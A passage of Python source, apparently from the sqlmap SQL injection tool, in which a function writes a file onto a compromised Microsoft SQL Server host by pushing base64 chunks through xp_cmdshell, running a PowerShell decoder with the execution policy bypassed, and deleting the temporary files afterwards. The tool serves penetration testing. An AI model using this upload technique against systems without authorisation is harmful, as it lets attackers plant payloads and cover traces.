(self, tmpPath, localFileContent, remoteFile, fileType)
| 170 | raise SqlmapUnsupportedFeatureException(errMsg) |
| 171 | |
| 172 | def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType): |
| 173 | infoMsg = "using PowerShell to write the %s file content " % fileType |
| 174 | infoMsg += "to file '%s'" % remoteFile |
| 175 | logger.info(infoMsg) |
| 176 | |
| 177 | encodedFileContent = encodeBase64(localFileContent, binary=False) |
| 178 | encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) |
| 179 | encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) |
| 180 | |
| 181 | randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) |
| 182 | randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) |
| 183 | |
| 184 | localFileSize = len(encodedFileContent) |
| 185 | chunkMaxSize = 1024 |
| 186 | |
| 187 | logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) |
| 188 | |
| 189 | for i in xrange(0, localFileSize, chunkMaxSize): |
| 190 | wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] |
| 191 | self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) |
| 192 | |
| 193 | psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath |
| 194 | psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " |
| 195 | psString += "[System.Convert]::FromBase64String($Base64); Set-Content " |
| 196 | psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile |
| 197 | |
| 198 | logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) |
| 199 | self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) |
| 200 | |
| 201 | logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile) |
| 202 | |
| 203 | commands = ( |
| 204 | "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, |
| 205 | "del /F /Q \"%s\"" % encodedBase64FilePath, |
| 206 | "del /F /Q \"%s\"" % randPSScriptPath |
| 207 | ) |
| 208 | |
| 209 | self.execCmd(" & ".join(command for command in commands)) |
| 210 | |
| 211 | def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): |
| 212 | infoMsg = "using debug.exe to write the %s " % fileType |
no test coverage detected